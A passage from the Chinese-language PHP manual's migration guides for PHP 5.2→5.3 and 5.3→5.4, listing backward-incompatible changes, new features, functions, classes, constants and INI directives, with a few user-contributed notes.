  • Removed execute_data->Ts field. The VM temporary variables are always allocated immediately before the execute_data structure, and are now accessed by their offset from the execute_data base pointer instead of via execute_data->Ts. The compiler stores new offsets in op_array->opcodes[*].op?.num. The EX_TMP_VAR() and EX_TMP_VAR_NUM() macros can be used to access temporary variables by offset or number. You can convert the number to an offset using EX_TMP_VAR_NUM(0, num) or offset to number using (EX_TMP_VAR_NUM(0,0)-EX_TMP_VAR(0,offset)).
  • 移除 execute_data->CVs 字段。The VM compiled variables are always allocated immediately after the execute_data structure, and are now accessed by the offset from the execute_data base pointer instead of via execute_data->CVs. You can use the EX_CV_NUM() macro to access compiled variables by

User Contributed Notes

There are no user contributed notes for this page.


从 PHP 5.3.X 迁移到 PHP 5.4.X

Table of Contents

  • PHP 5.4.x 中的变更
  • 不向后兼容的变更
  • 新特性
  • SAPI 模块中的变化
  • 在 PHP 5.4.x 中过时的特性
  • 变更的函数
  • 新的函数
  • 新的类和接口
  • 新的方法
  • 移除的扩展
  • 扩展中的其他变化
  • 新的全局常量
  • INI 文件处理的变化
  • 其他变化

参见 PHP 版本迁移指南 5.0.x 、 5.1.x 、 5.2.x 、5.3.x 以及 5.5.x。

User Contributed Notes

There are no user contributed notes for this page.


PHP 5.4.x 中的变更

PHP 5.4.x 中的大多数改进对现有代码不会有影响。在生产环境中切换 PHP 版本前应考虑 不兼容 和 新特性 ，并严格测试代码。

想要从一个较老的 PHP 版本升级系统，可使用下列相关文档：

  • PHP 5.3.x 升级说明.
  • PHP 5.2.x 升级说明.
  • PHP 5.1.x 升级说明.
  • 从 PHP 4 迁移到 PHP 5.

User Contributed Notes

There are no user contributed notes for this page.


不向后兼容的变更

尽管大部分现有的 PHP 5 代码不需要任何改变就可以正常运行，但请注意一些不向后兼容的变更：

  • 不再支持 安全模式 。任何依赖安全模式的应用在安全方面都需要进行调整。
  • 移除 魔术引号 。为避免出现安全问题，依赖此特性的应用可能需要升级。 get_magic_quotes_gpc() 和 get_magic_quotes_runtime() 现在总是返回 FALSE 。 调用 set_magic_quotes_runtime() 将产生一个 E_CORE_ERROR 级别的错误。
  • register_globals 和 register_long_arrays php.ini 指令被移除。
  • 调用时的引用传递 被移除。
  • break 和 continue 语句不再接受可变参数（ 比如： break 1 + foo() * $bar; ）。像类似 break 2; 这样的固定参数仍可使用。受此变化影响，不再允许出现 break 0; 和 continue 0; 。
  • 在 日期与时间扩展 中，不再支持时区使用 TZ（TimeZone）环境变量设置。必须使用 date.timezone php.ini 配置选项或 date_default_timezone_set() 函数来指定时区。PHP 将不再尝试猜测时区，而是回退到"UTC"并发出一条 E_WARNING 错误。
  • 非数字的字符串偏移量，比如 $a['foo'] 此处 $a 是一个字符串，现在使用 isset() 时返回 false，使用 empty() 时返回 true，并产生一条 E_WARNING 错误。偏移量类型是布尔和 null 则产生一条 E_NOTICE 错误。 数字字符串（比如 $a['2'] ）仍像以前一样运行。注意像类似 '12.3' 和 '5 foobar' 这样的偏移量将被视为非数字并产生一条 E_WARNING 错误，但因为向后兼容的原因它们会被分别转换成 12 和 5 。 注意：下列代码返回不同的结果。 $str='abc';var_dump(isset($str['x'])); // 在 PHP 5.4 或更新版本返回 false，但在 PHP 5.3 或更低版本返回 true
  • 数组转换成字符串将产生一条 E_NOTICE 级别的错误，但返回的结果仍是字符串 "Array" 。
  • NULL 、FALSE 、或 一个空字符串被添加成一个对象的属性时将发出一条 E_WARNING 级别的错误，而不是 E_STRICT 。
  • 现在参数名使用全局变量将会导致一个致命错误。禁止类似 function foo($_GET, $_POST) {} 这样的代码。
  • Salsa10 和 Salsa20 哈希算法 被移除。
  • 当使用两个空数组作为参数时， array_combine() 现在返回 array() 而不是 FALSE 。
  • htmlentities() 将像 htmlspecialchars() 一样处理亚洲字符集，这是以前 PHP 版本的处理情况，但现在将会发出一条 E_STRICT 错误。
  • 强烈建议不要再使用 eregi() ，此特性在最新版本中被移除。

下列关键字现在被 保留 ，且不能用于函数名或类名。

  • trait
  • callable
  • insteadof

下列函数已从 PHP 中移除：

  • define_syslog_variables()
  • import_request_variables()
  • session_is_registered() 、 session_register() 以及 session_unregister() 。
  • 别名 mysqli_bind_param() 、 mysqli_bind_result() 、 mysqli_client_encoding() 、 mysqli_fetch() 、 mysqli_param_count() 、 mysqli_get_metadata() 、 mysqli_send_long_data() 、 mysqli::client_encoding() 以及 mysqli_stmt::stmt() 。

User Contributed Notes

ky dot patterson at adlinkr dot com 23-Jul-2014 07:34
If you have content that is not 100% UTF-8 then TAKE NOTE:

Starting in PHP 5.4 htmlspecialchars() and htmlentities() assume CHARSET=gb2312 by default AND WILL RETURN BLANK IF YOUR INPUT IS NOT VALID UTF-8.

So if you have a lot of function calls that look like this:
<?php
echo htmlspecialchars($input);
// or
echo htmlentities($input);
?>
i.e. no charset and no flags -- and $input is ISO-8859 (or anything else apart from 7-bit ASCII or UTF-8) -- then PHP 5.4 and 5.5 will return an empty string, and you will be surprised and probably unhappy.

This is apparently a feature, not a bug.
anton at zebooka dot com 05-Sep-2013 03:18
It seems that starting of PHP 5.4 you can not override class method with different signature.

Example:
<?php
class A
{
    public function doSomething($a, $b)
    {
    }
}

class B extends A
{
    public function doSomething($c)
    {
    }
}
?>

PHP Strict standards:  Declaration of B::doSomething() should be compatible with A::doSomething(B $a) in Command line code on line 1
Chris 05-Jan-2013 03:00
Missing some chars like german umlauts after use of htmlspecialchars? That's because the third param encoding has changed it's default value in PHP 5.4 from ISO-8859-1 to UTF-8.

Possible solution #1:
Change your code from this ...
<?php htmlspecialchars( '??ü' ); ?>
... to this:
<?php htmlspecialchars ( '??ü' , ENT_COMPAT | ENT_HTML401 , 'ISO-8859-1' ); ?>

Possible solution #2:
Create a wrapper function and replace htmlspecialchars( to i.e. isohtmlspecialchars( with your IDE/editor/shell...

Example of a wrapper function:
<?php
function isohtmlspecialchars( $str ){
   return htmlspecialchars ( $str , ENT_COMPAT | ENT_HTML401 , 'ISO-8859-1' );
}
?>


新特性

PHP 5.4.0 提供了丰富的新特性：

  • 新增支持 traits 。
  • 新增短数组语法，比如 $a = [1, 2, 3, 4]; 或 $a = ['one' => 1, 'two' => 2, 'three' => 3, 'four' => 4]; 。
  • 新增支持对函数返回数组的成员访问解析，例如 foo()[0] 。
  • 现在 闭包 支持 $this 。
  • 现在不管是否设置 short_open_tag php.ini 选项，<?= 将总是可用。
  • 新增在实例化时访问类成员，例如： (new Foo)->bar() 。
  • 现在支持 Class::{expr}() 语法。
  • 新增二进制直接量，例如：0b001001101 。
  • 改进解析错误信息和不兼容参数的警告。
  • SESSION 扩展现在能追踪文件的 上传进度 。
  • 内置用于开发的 CLI 模式的 web server 。

User Contributed Notes

Joris Berthelot 27-Jun-2018 10:02
PHP 5.4 also allows to use arrays in switch:

<?php

$foo = 1;
$bar = 2;

switch([$foo, $bar]) {
    case [1, 2]:
        echo 'case 1';
        break;
    case [2, 2]:
        echo 'case 2';
        break;
    case [3, 4]:
        echo 'case 3';
        break;
}

// Will output  "case 1"
?>
dave1010 at gmail dot com 27-Jul-2012 11:01
As of PHP 5.4, the CLI (using readline) no longer dies on fatal errors (for example calling undefined functions).
Nick Garvey 22-Jun-2012 06:11
'callable' was implemented as a typehint in 5.4


SAPI 模块中的变化

  • 一个名为 cli-server 的新 SAPI 模块可以使用。
  • 新增 CLI 选项 --rz 用来显示 Zend 扩展的信息。
  • 新增快捷方式 #inisetting=value 在 readline CLI 交互模式下来更改 php.ini 设置。
  • 新增 apache 兼容函数： 用于 FastCGI SAPI 的apache_child_terminate() 、 getallheaders() 、 apache_request_headers() 以及 apache_response_headers() 。
  • PHP-FPM：新增 process.max 设置，用来控制 FPM 能 fork 的进程数目。

User Contributed Notes

There are no user contributed notes for this page.


在 PHP 5.4.x 中过时的特性

过时的函数：

  • mcrypt_generic_end()
  • mysql_list_dbs()

User Contributed Notes

There are no user contributed notes for this page.


变更的函数

在 PHP 5.4 中 一些函数增加了新的参数和可选参数：

PHP 核心：

  • debug_backtrace() 和 debug_print_backtrace() 新增可选参数 limit 来限制返回的堆栈帧数量。
  • is_link() 现在在 Windows Vista 或更新系统上对于符号链接能正确地运行。早期系统不支持符号链接。
  • parse_url() 在省略方案（scheme，如http）时，现在能识辨出主机，并存在一个主要的组件分隔符。自 PHP 5.4.7 起。

OpenSSL:

  • openssl_encrypt() 和 openssl_decrypt() 函数新增一个未填充的选项。

Intl:

  • idn_to_ascii() 和 idn_to_utf8() 现在可以使用两个额外的参数，一个代表变体，另一个通过应用传递， 返回选择 UTS #46 时的操作细节。

User Contributed Notes

There are no user contributed notes for this page.


新的函数

PHP 5.4 引入一些新的函数：

PHP 核心：

  • hex2bin()
  • http_response_code()
  • get_declared_traits()
  • getimagesizefromstring()
  • stream_set_chunk_size()
  • socket_import_stream()
  • trait_exists()
  • header_register_callback()

SPL:

  • class_uses()

Session:

  • session_status()
  • session_register_shutdown()

Mysqli:

  • mysqli_error_list()
  • mysqli_stmt_error_list()

Libxml:

  • libxml_set_external_entity_loader()

LDAP:

  • ldap_control_paged_result()
  • ldap_control_paged_result_response()

Intl:

  • transliterator_create()
  • transliterator_create_from_rules()
  • transliterator_create_inverse()
  • transliterator_get_error_code()
  • transliterator_get_error_message()
  • transliterator_list_ids()
  • transliterator_transliterate()

Zlib:

  • zlib_decode()
  • zlib_encode()

User Contributed Notes

There are no user contributed notes for this page.


新的类和接口

在 PHP 5.4.0 中引入下列类：

SPL:

  • CallbackFilterIterator
  • RecursiveCallbackFilterIterator

Reflection:

  • ReflectionZendExtension

Json:

  • JsonSerializable

Session:

  • SessionHandler
  • SessionHandlerInterface

Snmp:

  • SNMP

Intl:

  • Transliterator
  • Spoofchecker

User Contributed Notes

There are no user contributed notes for this page.


新的方法

在 PHP 5.4.0 中引入了几个新的方法：

XSL:

  • XsltProcessor::setSecurityPrefs()
  • XsltProcessor::getSecurityPrefs()

SPL:

  • RegexIterator::getRegex()
  • SplObjectStorage::getHash()
  • DirectoryIterator::getExtension()
  • SplDoublyLinkedList::serialize()
  • SplDoublyLinkedList::unserialize()
  • SplFileInfo::getExtension()
  • SplFileObject::fputcsv()
  • SplQueue::serialize()
  • SplQueue::unserialize()
  • SplStack::serialize()
  • SplStack::unserialize()
  • SplTempFileObject::fputcsv()

反射:

  • ReflectionExtension::isPersistent()
  • ReflectionExtension::isTemporary()
  • ReflectionClass::isCloneable()

Closure:

  • Closure::bind()
  • Closure::bindTo()

PDO_dblib:

  • PDO::newRowset()

StreamWrapper:

  • StreamWrapper::stream_metadata()
  • StreamWrapper::stream_truncate()

User Contributed Notes

There are no user contributed notes for this page.


移除的扩展

下列扩展被移到 PECL 且不再作为 PHP 发行版本的一部分。根据用户需求，将创建这些扩展的 PECL 包版本。

  • sqlite - 注意： ext/sqlite3 和 ext/pdo_sqlite 不受影响

User Contributed Notes

There are no user contributed notes for this page.


扩展中的其他变化

扩展中行为和新特性的变化:

  • mysqli - mysqli_result 现在实现 Traversable
  • pdo_mysql - 不再支持使用低于 4.1 版本的 MySQL 客户端库连接。
  • MySQL 扩展 mysql 、mysqli 及 PDO_mysql 现在使用 mysqlnd 作为默认库。通过在配置选项中指定路径仍然可以使用 libmysqlclient 。
  • mysqlnd - 增加支持命名管道

User Contributed Notes

There are no user contributed notes for this page.


新的全局常量

PHP 核心：

  • ENT_DISALLOWED
  • ENT_HTML401
  • ENT_HTML5
  • ENT_SUBSTITUTE
  • ENT_XML1
  • ENT_XHTML
  • IPPROTO_IP
  • IPPROTO_IPV6
  • IPV6_MULTICAST_HOPS
  • IPV6_MULTICAST_IF
  • IPV6_MULTICAST_LOOP
  • IP_MULTICAST_IF
  • IP_MULTICAST_LOOP
  • IP_MULTICAST_TTL
  • MCAST_JOIN_GROUP
  • MCAST_LEAVE_GROUP
  • MCAST_BLOCK_SOURCE
  • MCAST_UNBLOCK_SOURCE
  • MCAST_JOIN_SOURCE_GROUP
  • MCAST_LEAVE_SOURCE_GROUP

Curl:

  • CURLOPT_MAX_RECV_SPEED_LARGE
  • CURLOPT_MAX_SEND_SPEED_LARGE

LibXML:

  • LIBXML_HTML_NODEFDTD
  • LIBXML_HTML_NOIMPLIED
  • LIBXML_PEDANTIC

OpenSSL:

  • OPENSSL_CIPHER_AES_128_CBC
  • OPENSSL_CIPHER_AES_192_CBC
  • OPENSSL_CIPHER_AES_256_CBC
  • OPENSSL_RAW_DATA
  • OPENSSL_ZERO_PADDING

输出缓冲:

  • PHP_OUTPUT_HANDLER_CLEAN
  • PHP_OUTPUT_HANDLER_CLEANABLE
  • PHP_OUTPUT_HANDLER_DISABLED
  • PHP_OUTPUT_HANDLER_FINAL
  • PHP_OUTPUT_HANDLER_FLUSH
  • PHP_OUTPUT_HANDLER_FLUSHABLE
  • PHP_OUTPUT_HANDLER_REMOVABLE
  • PHP_OUTPUT_HANDLER_STARTED
  • PHP_OUTPUT_HANDLER_STDFLAGS
  • PHP_OUTPUT_HANDLER_WRITE

Sessions:

  • PHP_SESSION_ACTIVE
  • PHP_SESSION_DISABLED
  • PHP_SESSION_NONE

Streams:

  • STREAM_META_ACCESS
  • STREAM_META_GROUP
  • STREAM_META_GROUP_NAME
  • STREAM_META_OWNER
  • STREAM_META_OWNER_NAME
  • STREAM_META_TOUCH

Zlib:

  • ZLIB_ENCODING_DEFLATE
  • ZLIB_ENCODING_GZIP
  • ZLIB_ENCODING_RAW

Intl:

  • U_IDNA_DOMAIN_NAME_TOO_LONG_ERROR
  • IDNA_CHECK_BIDI
  • IDNA_CHECK_CONTEXTJ
  • IDNA_NONTRANSITIONAL_TO_ASCII
  • IDNA_NONTRANSITIONAL_TO_UNICODE
  • INTL_IDNA_VARIANT_2003
  • INTL_IDNA_VARIANT_UTS46
  • IDNA_ERROR_EMPTY_LABEL
  • IDNA_ERROR_LABEL_TOO_LONG
  • IDNA_ERROR_DOMAIN_NAME_TOO_LONG
  • IDNA_ERROR_LEADING_HYPHEN
  • IDNA_ERROR_TRAILING_HYPHEN
  • IDNA_ERROR_HYPHEN_3_4
  • IDNA_ERROR_LEADING_COMBINING_MARK
  • IDNA_ERROR_DISALLOWED
  • IDNA_ERROR_PUNYCODE
  • IDNA_ERROR_LABEL_HAS_DOT
  • IDNA_ERROR_INVALID_ACE_LABEL
  • IDNA_ERROR_BIDI
  • IDNA_ERROR_CONTEXTJ

Json:

  • JSON_PRETTY_PRINT
  • JSON_UNESCAPED_SLASHES
  • JSON_NUMERIC_CHECK
  • JSON_UNESCAPED_UNICODE
  • JSON_BIGINT_AS_STRING

User Contributed Notes

There are no user contributed notes for this page.


INI 文件处理的变化

下列 php.ini 指令被移除：

  • register_globals 和 register_long_arrays
  • magic_quotes_gpc 、 magic_quotes_runtime 以及 magic_quotes_sybase
  • allow_call_time_pass_reference
  • define_syslog_variables
  • highlight.bg
  • session.bug_compat_42 和 session.bug_compat_warn
  • y2k_compliance
  • safe_mode 、 safe_mode_gid 、 safe_mode_include_dir 、 safe_mode_exec_dir 、 safe_mode_allowed_env_vars 以及 safe_mode_protected_env_vars

新增下列 php.ini 指令：

  • cli.pager 和 cli.prompt 对于 CLI SAPI 在交互模式中使用 readline
  • cli_server.color 使内置用于开发的 web server 能在终端输出使用 ANSI 颜色编码。
  • max_input_vars - 指定 GET/POST/COOKIE 输入变量的最大长度。
  • zend.multibyte - 控制新的多字节支持。
  • zend.script_encoding - 除非在脚本最前面出现"declare(encoding=...)"指令，否则将使用此值。
  • zend.signal_check - 在关闭时检查是否替代信号处理。
  • session.upload_progress.enabled 、 session.upload_progress.cleanup 、 session.upload_progress.prefix 、 session.upload_progress.name session.upload_progress.freq 、 session.upload_progress.min_freq
  • enable_post_data_reading - 禁用时，POST 数据不能读取（和处理）。
  • windows_show_crt_warning - 启用时此指令显示 Windows CRT 警告。到目前为止这些警告都是默认显示的。

下列 php.ini. 指令被变更：

  • session.entropy_file 现在默认为 /dev/random 或 /dev/urandom ，取决于在编译时的推测。
  • session.entropy_length 现在默认为 32 。

User Contributed Notes

There are no user contributed notes for this page.


其他变化

  • htmlspecialchars() 和 htmlentities() 现在默认的字符集为 UTF-8，而不再是 ISO-8859-1 。注意输出字符集的变化，通过 default_charset 配置设置不影响 htmlspecialchars/htmlentities ，除非将 ""（空字符串）作为编码参数传递给htmlspecialchars() / htmlentities()调用。通常不推荐这么做，因可以通过这些函数运行时使用的字符集不受影响地改变输出字符集。最安全的方法是每次调用 htmlspecialchars() 和 htmlentities() 都明确地设置字符集。
  • 在 error_reporting 配置指令中，E_ALL 现在包括了 E_STRICT 级别的错误。
  • SNMP 现在有了 OOP API 。 现在包括 SNMP-related 在内，函数在每个错误状态都返回 FALSE （没有这样的实例、MIB 结束等等）。因此，特别是，当发生 SNMP-related 错误时，get/walk 函数中断上一个行为返回一个空字符串。 现在支持多 OID get/getnext/set 查询。 删除 UCD-SNMP 兼容代码，考虑升级到 net-snmp v5.3+，对于 Windows 版本需要Net-SNMP v5.4+。 现在通过扩展来支持远程 SNMP 代理 （对等）的 IPv6 DNS 域名解析，而不再是通过 Net-SNMP 库。
  • OpenSSL 现在支持 AES 。
  • 当使用 readline 交互模式时， CLI SAPI 不再在发生致命错误时终止。
  • 新增微秒级精度的 $_SERVER['REQUEST_TIME_FLOAT'] 。
  • 增加新的哈希算法： fnv132、 fnv164及 joaat
  • 链式字符串偏移量，例如 $a[0][0] 中 $a 是一个字符串， 现在能正常运行。
  • SimpleXMLElement 组织成的数组现在总是包含所有节点，而不仅仅是第一个匹配的节点。当使用 var_dump() 、 var_export() 以及 print_r() 时，所有 SimpleXMLElement 子元素总是被打印出来。
  • 现在可以在基类的抽象构造函数中强制类的 __construct 参数。

User Contributed Notes

There are no user contributed notes for this page.


从 PHP 5.2.x 移植到 PHP 5.3.x

Table of Contents

  • PHP 5.3.x 的变化
  • 不向下兼容的变化
  • 新特性
  • Windows 支持改变
  • SAPI 模块的改变
  • PHP 5.3.x 中弃用的功能
  • PHP 5.3.x 保留的功能
  • 新参数
  • 新函数
  • 新的流包装器
  • 新的流过滤器
  • 新增的类常量
  • 新增的方法
  • 新的扩展
  • 被移除的扩展
  • Other changes to extensions
  • 新类
  • 新的全局常量
  • INI 文件处理改变
  • 其他改变

参见 PHP 版本迁移指南 5.0.x, 5.1.x 和 5.2.x.

User Contributed Notes

There are no user contributed notes for this page.


PHP 5.3.x 的变化

PHP 5.3.x 的大多数改进对现有代码没有影响。需要注意的是有一些不兼容和新功能，在生产环境中切换 PHP 版本需要先行测试代码。

由更老的 PHP 版本进行升级，有一些可用的相关文档：

  • PHP 5.2.x 升级说明.
  • PHP 5.1.x 升级说明.
  • 从 PHP 4 移植到 PHP 5.

User Contributed Notes

There are no user contributed notes for this page.


不向下兼容的变化

尽管大多数现有的 PHP 5 代码无需改变就可以工作，但是请注意一些不向下兼容的变化：

  • 在 PHP 5.3.x 的所有绑定扩展中应用了新的内部参数解析API, 当给函数传递了不兼容的参数时将返回 NULL. 但有一些例外，比如函数 get_class() 在出现错误时将会返回 FALSE.
  • clearstatcache() 默认不再清除缓存的 realpath.
  • realpath() 现在是完全与平台无关的. 结果是非法的相对路径比如 __FILE__ . "/../x" 将不会工作.
  • call_user_func() 系列函数即使被调用者是一个父类也使用 $this.
  • 数组函数 natsort(), natcasesort(), usort(), uasort(), uksort(), array_flip(), 和 array_unique() 将不再接受对象作为参数. 在将这些函数应用于对象时, 请首先将对象转换为数组.
  • 按引用传递参数的函数在被按值传递调用时行为发生改变. 此前函数将接受按值传递的参数, 现在将抛出致命错误. 之前任何期待传递引用但是在调用时传递了常量或者字面值 的函数, 需要在调用前改为将该值赋给一个变量。
  • 新的 mysqlnd 库需要使用 MySQL 4.1 新的 41 字节密码格式。继续使用旧的 16 字节密码将导致 mysql_connect() 和其它类似函数 抛出 "mysqlnd cannot connect to MySQL 4.1+ using old authentication." 错误.
  • 新的 mysqlnd 库将不再读取 MySQL 配置文件(my.cnf/my.ini), 这与旧版本的 libmysql 库不同. 如果你的代码依赖于这些配置 文件, 你可以使用 mysqli_options() 显式地加载它. 注意, 这意味着如果 PDO 中的 MySQL 支持使用了 mysqlnd 进行编译，PDO 特有常量 PDO::MYSQL_ATTR_READ_DEFAULT_FILE 和 PDO::MYSQL_ATTR_READ_DEFAULT_GROUP 将是未定义的.
  • SplFileInfo 及其相关目录类会移除末尾的 /.
  • __toString 魔术方法不再接受参数.
  • 魔术方法 __get, __set, __isset, __unset, and __call 应该总是公共的(public)且不能是静态的(static). 方法签名是必须的.
  • 现在 __call 魔术方法在访问私有的(private)和被保护的(protected)方法时被调用.
  • 函数内 include 或者 require 一个文件时，文件内 将不能使用 func_get_arg(), func_get_args() 和 func_num_args() 函数。
  • 新增了一个包裹在 MHASH 扩展外面的仿真层。但是并非所有的算法都涉及到了，值得注意的是 s2k 哈希算法。这意味着 s2k 哈希算法在 PHP 5.3.0 中不再可用。

以下关键词被保留，将不能被用作函数名, 类名等。

  • goto
  • namespace

User Contributed Notes

chokolatrix 05-Oct-2018 09:24
In PHP 5.3, when accessing a string as an array, if the key was a string (non-existing because, for strings, the keys are integers), first char was returned. Probably it converts the string to integer, therefore to 0.
PHP 5.4 throws a warning.

$article;       // this holds '98765' but you expect an array

// You try to read a value from your "array"
// PHP 5.3 : nothing
// PHP 5.4 : Warning: Illegal string offset at line ...
$value = $article['id_article'];

var_dump($value);              // returns:   string(1) "9"

.
peterix at gmail dot com 08-Jun-2016 07:23
strlen changed in 5.3.0. It no longer returns 5 when called on Arrays.

If you abused this in your codebase, beware.
Chris Bolt 15-Sep-2009 07:03
call_user_func_array() no longer accepts null as a second parameter and calls the function. It now emits a warning and does not call the function.


新特性

PHP 5.3.0 提供了广泛的新特性:

  • 添加了命名空间的支持.
  • 添加了静态晚绑定支持.
  • 添加了跳标签支持.
  • 添加了原生的闭包(Lambda/匿名函数)支持.
  • 新增了两个魔术方法, __callStatic 和 __invoke.
  • 添加了 Nowdoc 语法支持, 类似于 Heredoc 语法, 但是包含单引号.
  • 使用 Heredoc 来初始化静态变量和类属性/常量变为可能.
  • 可使用双引号声明 Heredoc, 补充了 Nowdoc 语法.
  • 可在类外部使用 const 关键词声明 常量.
  • 三元运算操作符有了简写形式: ?:.
  • HTTP 流包裹器将从 200 到 399 全部的状态码都视为成功。
  • 动态访问静态方法变为可能.
  • 异常可以被内嵌.
  • 新增了循环引用的垃圾回收器并且默认是开启的.
  • mail() 现在支持邮件发送日志. (注意: 仅支持通过该函数发送的邮件.)

User Contributed Notes

There are no user contributed notes for this page.


Windows 支持改变

Windows 发行版的改变:

  • 最小的 Windows 支持版本是 Windows XP SP3; Windows 98, ME, 2000 和 NT4 将不再被支持.
  • Windows 二进制版支持 i586 以上版本. i386 和 i486 不再被支持.
  • Windows 上的 PHP x64 版本的支持是实验性的.
  • 通过使用 Visual Studio 2008, 编译器现在支持 Visual C++ 9 (VC9). 基于 VC9 的快照和发行版均可用. 旧的使用 VC6 的二进制版本仍然会与 VC9 版本同时被支持和发行.
  • PDO_OCI php_pdo_oci8.dll 库(配合 Oracle version 8 客户端库使用)已经不会被内建. 作为替代, 使用 php_pdo_oci.dll (注意没有 '8') 配合 Oracle 10 或 11 客户端库. 仍然支持其他数据库版本的连接.
  • 对于 OCI8 扩展而言, 除了 php_oci8.dll 之外, 一个新的库 php_oci8_11g.dll 可用. 但仅仅只能同时打开一个库. 配合 Oracle 10.2 客户端库使用 php_oci8.dll. 配合 Oracle 11 客户端库使用 php_oci8_11g.dll. 仍然支持其他数据库版本的连接.

新增了如下这些 Windows 支持函数:

  • checkdnsrr()
  • dns_get_record()
  • fnmatch()
  • getmxrr()
  • getopt()
  • imagecolorclosesthwb()
  • inet_ntop()
  • inet_pton()
  • link()
  • linkinfo()
  • mcrypt_create_iv()
  • readlink()
  • socket_create_pair() - 该函数之前就可以在 Windows 平台使用, 但是自 PHP 4.3.0 起就因为一个 Bug 的原因而关闭了.
  • stream_socket_pair()
  • symlink()
  • time_nanosleep()
  • time_sleep_until()

其它改变:

  • 改进了 stat(), touch(), filemtime(), filesize() 等相关函数的移植性(对于可用数据100%可移植).
  • 现在可以使用 link() 函数来在 Windows 平台上创建硬链接, 创建符号链接则使用 symlink() 函数. 硬链接自 Windows 2000 起可用, 符号链接则自 Windows Vista 起可用.
  • Windows 版本的 PHP 包含一组以 PHP_WINDOWS_* 为前缀的常量. 这些常量的列表可以在预定义常量找到.
Warning

丢弃 ISAPI 模块支持. 使用改进的 FastCGI SAPI 模块替代.

Note: 一个新的专注于 PHP on Windows 的站点可用, 包括下载, 发布候选版本, 和各种快照(thread-safe/not-thread-safe, VC6/VC9, x86/x64). 网站的地址是 » https://windows.php.net/.

User Contributed Notes

Anonymous 11-Jan-2010 04:43
Due to the required getaddrinfo() function in Ws2_32.dll added to Windows XP SP2 and later.

The minimum Windows version is now Windows XP SP2; Windows XP SP1, 2000, 98, ME, and NT4 are no longer supported.

See: http://bugs.php.net/48761
kevinpeno at gmail dot com 30-Jun-2009 02:53
Fast CGI is available for IIS6. Reading the IIS website (which is more appropriate since it is server specific) yields plenty of results regarding PHP setup under the fastCGI module. They even have an entire domain associated with PHP.

Note: links were denied because they were supposedly spam? Everything you need to know is linked at the beginning of this site:  http://php.iis.net/


SAPI 模块的改变

  • 一个新增的名为 litespeed 的 SAPI 模块可用.
  • CGI SAPI 中的 FastCGI 支持总是打开并且无法关闭. 更多信息请查看 sapi/cgi/CHANGES.
  • 一个新的 CGI SAPI 选项 -T 可以被用来衡量一个脚本的重复执行时间.
  • CGI/FastCGI 现在支持 .htaccess 样式的 用户自定义 php.ini 文件.
  • dl() 函数默认被关闭, 并且现在只在 CLI, CGI, 和内嵌的 SAPI 环境下可用.

User Contributed Notes

There are no user contributed notes for this page.


PHP 5.3.x 中弃用的功能

PHP 5.3.0 新增了两个错误等级: E_DEPRECATED 和 E_USER_DEPRECATED. 错误等级 E_DEPRECATED 被用来说明一个函数或者功能已经被弃用. E_USER_DEPRECATED 等级目的在于表明用户代码中的弃用功能, 类似于 E_USER_ERROR 和 E_USER_WARNING 等级.

下面是被弃用的 INI 指令列表. 使用下面任何指令都将导致 E_DEPRECATED 错误.

  • define_syslog_variables
  • register_globals
  • register_long_arrays
  • safe_mode
  • magic_quotes_gpc
  • magic_quotes_runtime
  • magic_quotes_sybase
  • 弃用 INI 文件中以 '#' 开头的注释.

弃用函数:

  • call_user_method() (使用 call_user_func() 替代)
  • call_user_method_array() (使用 call_user_func_array() 替代)
  • define_syslog_variables()
  • dl()
  • ereg() (使用 preg_match() 替代)
  • ereg_replace() (使用 preg_replace() 替代)
  • eregi() (使用 preg_match() 配合 'i' 修正符替代)
  • eregi_replace() (使用 preg_replace() 配合 'i' 修正符替代)
  • set_magic_quotes_runtime() 以及它的别名函数 magic_quotes_runtime()
  • session_register() (使用 $_SESSION 超全部变量替代)
  • session_unregister() (使用 $_SESSION 超全部变量替代)
  • session_is_registered() (使用 $_SESSION 超全部变量替代)
  • set_socket_blocking() (使用 stream_set_blocking() 替代)
  • split() (使用 preg_split() 替代)
  • spliti() (使用 preg_split() 配合 'i' 修正符替代)
  • sql_regcase()
  • mysql_db_query() (使用 mysql_select_db() 和 mysql_query() 替代)
  • mysql_escape_string() (使用 mysql_real_escape_string() 替代)
  • 废弃以字符串传递区域设置名称. 使用 LC_* 系列常量替代.
  • mktime() 的 is_dst 参数. 使用新的时区处理函数替代.

弃用的功能:

  • 弃用通过引用分配 new 的返回值.
  • 调用时传递引用被弃用.

User Contributed Notes

There are no user contributed notes for this page.


PHP 5.3.x 保留的功能

is_a() 函数被保留. 它不再抛出 E_STRICT 错误.

User Contributed Notes

There are no user contributed notes for this page.


新参数

在 PHP 5.3 中一些函数新增了参数和选项:

PHP 核心:

  • clearstatcache() - 新增 clear_realpath_cache 和 filename 参数.
  • copy() - 新增流环境参数 context.
  • fgetcsv() - 新增 escape 参数.
  • ini_get_all() - 新增 details 参数.
  • nl2br() - 新增 is_xhtml 参数.
  • parse_ini_file() - 新增 scanner_mode 参数.
  • round() - 新增 mode 参数.
  • stream_context_create() - 新增 params 参数.
  • strstr() 和 stristr() - 新增 before_needle 参数.

json:

  • json_encode() - 新增 options 参数.
  • json_decode() - 新增 depth 参数.

流(Streams):

  • stream_select(),
stream_set_blocking(),
stream_set_timeout(), 和
stream_set_write_buffer() 使用用户空间流包裹器.

sybase_ct:

  • sybase_connect() - 新增 new 参数.

PHP 5.3.0 中的新方法参数:

PHP 核心:

  • Exception::__construct() - 新增 previous 参数.

User Contributed Notes

There are no user contributed notes for this page.


新函数

PHP 5.3 引入了一些新函数:

PHP 核心:

  • array_replace() - 将一个数组的元素用另外一个数组的元素进行替换.
  • array_replace_recursive() - 将一个数组的元素用一组传递进来的数组进行递归替换.
  • class_alias() - 为用户定义的类创建一个别名.
  • forward_static_call() - 从一个方法环境调用一个用户函数.
  • forward_static_call_array() - 从一个方法环境调用一个用户函数, 使用数组中的元素作为参数.
  • gc_collect_cycles() - 强制收集任何存在的废物循环.
  • gc_disable() - 撤销循环引用收集器.
  • gc_enable() - 激活循环引用收集器.
  • gc_enabled() - 返回循环引用收集器的状态.
  • get_called_class() - 返回调用的静态方法所在的类的名称.
  • gethostname() - 返回本地机器的当前主机名.
  • header_remove() - 在使用 header() 函数之前移除 HTTP Header.
  • lcfirst() - 蒋某一字符串第一个字符转化为小写.
  • parse_ini_string() - 解析配置字符串.
  • quoted_printable_encode() - 转换 8 位的字符串为引用的可打印字符串.
  • str_getcsv() - 将 CSV 字符串解析为数组.
  • stream_context_set_default() - 设置默认的流环境.
  • stream_supports_lock() - 如果流支持锁定则返回 TRUE.
  • stream_context_get_params() - 获取一个流环境的参数.
  • streamWrapper::stream_cast() - 获取底层的流资源.
